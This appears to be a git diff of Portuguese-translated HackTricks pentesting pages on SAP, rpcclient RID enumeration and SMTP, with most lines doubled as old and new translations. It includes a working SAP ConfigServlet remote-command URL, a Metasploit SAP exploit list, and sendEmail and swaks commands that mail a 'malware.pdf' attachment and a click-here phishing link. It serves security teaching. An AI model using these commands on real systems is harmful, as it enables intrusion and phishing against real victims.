||||
* Procure por vulnerabilidades web comuns \(Consulte o OWASP Top 10\) porque existem vulnerabilidades como XSS, RCE, XXE, etc. em alguns lugares.
|
||||
* Confira a metodologia de Jason Haddix em [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para testar vulnerabilidades web.
|
||||
* Auth Bypass via Tampering de verbo? Talvez :\)
|
||||
* Abra `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` e clique no botão “Escolher” e, na janela aberta, pressione “Pesquisar”. Você deverá ser capaz de ver uma lista de usuários SAP \(Referência de Vulnerabilidade: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)
|
||||
* As credenciais são submetidas via HTTP? Se sim, então é considerado como P3 baseado na [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) da Bugcrowd: Autenticação Quebrada e Gerenciamento de Sessão \| Função de Login Fraca via HTTP. Dica: Confira [http://SAP:50000/startPage](http://sap:50000/startPage) também ou os portais de login :\)
|
||||
* Bypass de autenticação via manipulação de verbos? Talvez :\)
|
||||
* Abra `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` e clique no botão “Escolher” e depois na janela aberta pressione “Pesquisar”. Você deverá ver uma lista de usuários SAP \(Referência de Vulnerabilidade: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
||||
* As credenciais são enviadas via HTTP? Se sim, é considerado como P3 com base na Taxonomia de Classificação de Vulnerabilidades do Bugcrowd: Autenticação Quebrada e Gerenciamento de Sessão \| Função de Login Fraca Sobre HTTP. Dica: Confira também [http://SAP:50000/startPage](http://sap:50000/startPage) ou os portais de login :\)
|
||||
|
||||
![Página Inicial SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
![Página Inicial do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* Tente `/irj/go/km/navigation/` para possível listagem de diretório ou bypass de autenticação
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info) contém algumas informações valiosas:
|
||||
* Tente `/irj/go/km/navigation/` para possíveis listagens de diretórios ou bypass de autenticação
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info) contém algumas informações interessantes:
|
||||
```xml
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<SOAP-ENV:Body>
|
||||
|
@ -188,8 +188,8 @@ BWDEVELOPER:Down1oad:001
|
|||
```
|
||||
# Ataque!
|
||||
|
||||
* Verifique se está sendo executado em servidores antigos ou tecnologias como Windows 2000.
|
||||
* Planeje os possíveis exploits / ataques, existem muitos módulos do Metasploit para descoberta de SAP \(módulos auxiliares\) e exploits:
|
||||
* Verifique se ele roda em servidores antigos ou tecnologias como o Windows 2000.
|
||||
* Planeje os possíveis exploits / ataques, existem muitos módulos do Metasploit para descoberta do SAP (módulos auxiliares) e exploits:
|
||||
```text
|
||||
msf > search sap
|
||||
Matching Modules
|
||||
|
@ -254,15 +254,13 @@ exploit/windows/lpd/saplpd 2008-02
|
|||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||
```
|
||||
* Tente usar alguns exploits conhecidos \(confira o Exploit-DB\) ou ataques como o antigo, mas eficaz, “SAP ConfigServlet Remote Code Execution” no SAP Portal:
|
||||
* Tente usar alguns exploits conhecidos (verifique o Exploit-DB) ou ataques como o antigo mas eficaz "Execução de Código Remoto do SAP ConfigServlet" no Portal SAP:
|
||||
```text
|
||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||
```
|
||||
```markdown
|
||||
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||||
![RCE do Servlet de Configuração do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||||
|
||||
* Antes de executar o comando `start` no script bizploit na fase de Discovery, você também pode adicionar o seguinte para realizar a avaliação de vulnerabilidade:
|
||||
```
|
||||
* Antes de executar o comando `start` no script bizploit na fase de Descoberta, você também pode adicionar o seguinte para realizar a avaliação de vulnerabilidades:
|
||||
```text
|
||||
bizploit> plugins
|
||||
bizploit/plugins> vulnassess all
|
||||
|
@ -289,31 +287,33 @@ bizploit> start
|
|||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Ferramenta Powershell para avaliar a segurança do SAP
|
||||
* [Burp Suite](https://portswigger.net/burp) - essencial para fuzzing de diretórios e avaliações de segurança web
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca Python para criar pacotes de protocolo de rede SAP
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Auxilia o nmap a detectar SAP/ERP
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Ajuda o nmap a detectar SAP/ERP
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
|
||||
* [Teste de Penetração no SAP Usando o Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - um script para semi-automatizar o Bizploit
|
||||
* [Configuração de segurança do SAP NetWeaver ABAP parte 3: Senhas padrão para acesso à aplicação](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [Lista de códigos de transação ABAP relacionados à segurança do SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [Quebrando o SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [Top 10 vulnerabilidades e ataques mais interessantes no SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [Avaliando a segurança dos ecossistemas SAP com o bizploit: Descoberta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [Teste de Penetração SAP Usando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - um script para automatizar parcialmente o Bizploit
|
||||
* [Configuração de segurança SAP NetWeaver ABAP parte 3: Senhas padrão para acesso à aplicação](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [Lista de códigos de transação ABAP relacionados à segurança SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [Quebrando o Portal SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [Top 10 vulnerabilidades e ataques mais interessantes do SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [Avaliando a segurança dos ecossistemas SAP com bizploit: Descoberta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Um [Identificador Relativo (RID)](https://docs.microsoft.com/en-us/windows/secur
|
|||
* O [SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) para o domínio NAME\_DOMAIN.LOCAL é: `S-1-5-21-1038751438-1834703946-36937684957`.
|
||||
* Quando um objeto é criado dentro de um domínio, o número acima (SID) será combinado com um RID para criar um valor único usado para representar o objeto.
|
||||
* Assim, o usuário do domínio `john` com um RID:\[0x457] Hex 0x457 seria igual a decimal `1111`, terá um SID de usuário completo: `S-1-5-21-1038751438-1834703946-36937684957-1111`.
|
||||
* Isso é único para o objeto `john` no domínio NAME\_DOMAIN.LOCAL e você nunca verá esse valor emparelhado atrelado a outro objeto neste domínio ou em qualquer outro.
|
||||
* Isso é único para o objeto `john` no domínio NAME\_DOMAIN.LOCAL e você nunca verá esse valor emparelhado atado a outro objeto neste domínio ou em qualquer outro.
|
||||
|
||||
Definição da [**qui**](https://academy.hackthebox.com/module/143/section/1269).
|
||||
|
||||
|
@ -44,7 +44,7 @@ A utilidade **`rpcclient`** do Samba é utilizada para interagir com **pontos fi
|
|||
* Os **usuários podem ser listados** usando: `querydispinfo` e `enumdomusers`.
|
||||
* **Detalhes de um usuário** por: `queryuser <0xrid>`.
|
||||
* **Grupos de um usuário** com: `queryusergroups <0xrid>`.
|
||||
* **O SID de um usuário é recuperado** por meio de: `lookupnames <username>`.
|
||||
* **O SID de um usuário é recuperado** através de: `lookupnames <username>`.
|
||||
* **Aliases de usuários** por: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
|
@ -86,19 +86,19 @@ done
|
|||
|
||||
| **Comando** | **Interface** | **Descrição** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Recupera informações do usuário |
|
||||
| querygroup | Recupera informações do grupo | |
|
||||
| querydominfo | Recupera informações do domínio | |
|
||||
| enumdomusers | Enumera usuários do domínio | |
|
||||
| enumdomgroups | Enumera grupos do domínio | |
|
||||
| createdomuser | Cria um usuário de domínio | |
|
||||
| deletedomuser | Exclui um usuário de domínio | |
|
||||
| lookupnames | LSARPC | Procura nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Procura SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Adiciona direitos a uma conta de usuário | |
|
||||
| lsaremoveacctrights | Remove direitos de uma conta de usuário | |
|
||||
| dsroledominfo | LSARPC-DS | Obtém informações do domínio primário |
|
||||
| dsenumdomtrusts | Enumera domínios confiáveis dentro de um floresta AD | |
|
||||
| queryuser | SAMR | Recuperar informações do usuário |
|
||||
| querygroup | Recuperar informações do grupo | |
|
||||
| querydominfo | Recuperar informações do domínio | |
|
||||
| enumdomusers | Enumerar usuários do domínio | |
|
||||
| enumdomgroups | Enumerar grupos do domínio | |
|
||||
| createdomuser | Criar um usuário de domínio | |
|
||||
| deletedomuser | Excluir um usuário de domínio | |
|
||||
| lookupnames | LSARPC | Pesquisar nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Pesquisar SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Adicionar direitos a uma conta de usuário | |
|
||||
| lsaremoveacctrights | Remover direitos de uma conta de usuário | |
|
||||
| dsroledominfo | LSARPC-DS | Obter informações do domínio primário |
|
||||
| dsenumdomtrusts | Enumerar domínios confiáveis dentro de um floresta AD | |
|
||||
|
||||
Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
|
@ -116,7 +116,7 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,16 +16,15 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
**SMTP (Simple Mail Transfer Protocol)** é um protocolo TCP/IP usado para **enviar** e receber **e-mails**. No entanto, como é limitado em sua capacidade de enfileirar mensagens no destino, geralmente é usado com um dos outros dois protocolos, POP3 ou IMAP, que permitem ao usuário salvar mensagens em uma caixa de correio do servidor e baixá-las periodicamente do servidor.
|
||||
O **Protocolo Simples de Transferência de Correio (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações na fila de mensagens no final do destinatário, o SMTP é frequentemente utilizado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem aos usuários armazenar mensagens em uma caixa de correio do servidor e baixá-las periodicamente.
|
||||
|
||||
Em outras palavras, **os usuários geralmente usam** um programa que usa **SMTP para enviar e-mails** e **POP3 ou IMAP para receber** e-mails. Em sistemas baseados em Unix, **sendmail** é o servidor SMTP mais amplamente utilizado para e-mails. Um pacote comercial, Sendmail, inclui um servidor POP3. **Microsoft Exchange** inclui um servidor SMTP e também pode ser configurado para incluir suporte POP3.\
|
||||
De [aqui](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
|
||||
Na prática, é comum que **programas de e-mail** utilizem o **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente utilizado para fins de e-mail. O pacote comercial conhecido como Sendmail engloba um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte POP3.
|
||||
|
||||
**Porta padrão:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
|
@ -34,13 +33,13 @@ PORT STATE SERVICE REASON VERSION
|
|||
```
|
||||
### Cabeçalhos de EMAIL
|
||||
|
||||
Se tiver a oportunidade de **fazer a vítima enviar-lhe um email** (através do formulário de contato da página da web, por exemplo), faça-o porque **poderá aprender sobre a topologia interna** da vítima ao ver os cabeçalhos do email.
|
||||
Se tiver a oportunidade de **fazer a vítima enviar-lhe um email** (através do formulário de contato da página web, por exemplo), faça-o porque **poderá aprender sobre a topologia interna** da vítima ao ver os cabeçalhos do email.
|
||||
|
||||
Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN.
|
||||
Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email a partir de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN.
|
||||
|
||||
Também deve tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\
|
||||
Deve também tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\
|
||||
Deve enviar o arquivo de teste EICAR.\
|
||||
Detectar o **AV** pode permitir que explore **vulnerabilidades conhecidas.**
|
||||
Detectar o **AV** pode permitir-lhe explorar **vulnerabilidades conhecidas.**
|
||||
|
||||
## Ações Básicas
|
||||
|
||||
|
@ -52,7 +51,7 @@ nc -vn <IP> 25
|
|||
```
|
||||
**SMTPS**:
|
||||
|
||||
SMTPS (Simple Mail Transfer Protocol Secure) é uma extensão do protocolo SMTP que adiciona uma camada de segurança usando SSL/TLS para criptografar a comunicação entre o cliente de email e o servidor de email.
|
||||
SMTPS (Simple Mail Transfer Protocol Secure) é uma versão segura do protocolo SMTP que utiliza criptografia para proteger a comunicação entre o cliente de email e o servidor de email.
|
||||
```bash
|
||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||
|
@ -132,7 +131,7 @@ RCPT TO:ed
|
|||
```
|
||||
### VRFY
|
||||
|
||||
VRFY (Verify) é um comando SMTP que é usado para verificar se um usuário específico existe em um servidor de e-mail. Esse comando pode ser explorado por atacantes para obter informações sobre usuários válidos em um domínio, o que pode ser útil para futuros ataques de engenharia social ou phishing. É altamente recomendado desabilitar o comando VRFY para evitar vazamento de informações sensíveis.
|
||||
O comando VRFY é usado para verificar se um usuário específico existe em um servidor SMTP. Isso pode ser útil para os atacantes, pois fornece informações sobre os usuários válidos no sistema, o que pode ser usado em ataques de engenharia social ou para obter informações sobre potenciais alvos. No entanto, muitos servidores SMTP desativam esse comando devido a preocupações com segurança.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -150,7 +149,7 @@ VRFY blah
|
|||
```
|
||||
### EXPN
|
||||
|
||||
O comando `EXPN` é usado para verificar se um endereço de e-mail específico é válido e para expandir uma lista de discussão. Este comando pode revelar informações sobre os usuários e endereços de e-mail válidos em um servidor SMTP. No entanto, muitos servidores SMTP desativam esse comando devido a preocupações com privacidade e segurança.
|
||||
O comando `EXPN` é usado para expandir uma lista de endereços de e-mail de uma lista de discussão ou grupo. Este comando pode revelar endereços de e-mail ocultos ou não divulgados.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -175,37 +174,31 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantânea disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## Relatórios DSN
|
||||
|
||||
**Relatórios de Notificação de Status de Entrega**: Se você enviar um **e-mail** para uma organização com um **endereço inválido**, a organização notificará que o endereço estava inválido enviando um **e-mail de volta para você**. **Cabeçalhos** do e-mail retornado irão **conter** possíveis **informações sensíveis** (como endereço IP dos serviços de e-mail que interagiram com os relatórios ou informações de software antivírus).
|
||||
**Relatórios de Notificação de Status de Entrega**: Se você enviar um **e-mail** para uma organização com um **endereço inválido**, a organização notificará que o endereço foi invalidado enviando um **e-mail de volta para você**. Os **cabeçalhos** do e-mail retornado irão **conter** possíveis **informações sensíveis** (como endereço IP dos serviços de e-mail que interagiram com os relatórios ou informações de software antivírus).
|
||||
|
||||
## [Comandos](smtp-commands.md)
|
||||
|
||||
### Enviando um e-mail a partir do console do Linux
|
||||
```
|
||||
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
If you are manually typing in a message:
|
||||
- First line must be received within 60 seconds.
|
||||
- End manual input with a CTRL-D on its own line.
|
||||
|
||||
IT Dept,
|
||||
|
||||
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
|
||||
|
||||
Sincerely,
|
||||
<phishing message>
|
||||
```
|
||||
|
||||
```bash
|
||||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||||
```
|
||||
### Enviando um Email com Python
|
||||
|
||||
Aqui está uma maneira alternativa de enviar um email com um script em python
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
|
@ -265,16 +258,18 @@ O **Sender Policy Framework** (SPF) é um mecanismo que permite aos Agentes de T
|
|||
|
||||
#### Mecanismos
|
||||
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
||||
|
||||
| Mecanismo | Descrição |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores. |
|
||||
| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá. |
|
||||
| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
|
||||
| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
|
||||
| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
|
||||
| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
|
||||
| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas como consultas DNSBL. |
|
||||
| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
|
||||
| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá. |
|
||||
| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
|
||||
| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
|
||||
| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
|
||||
| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
|
||||
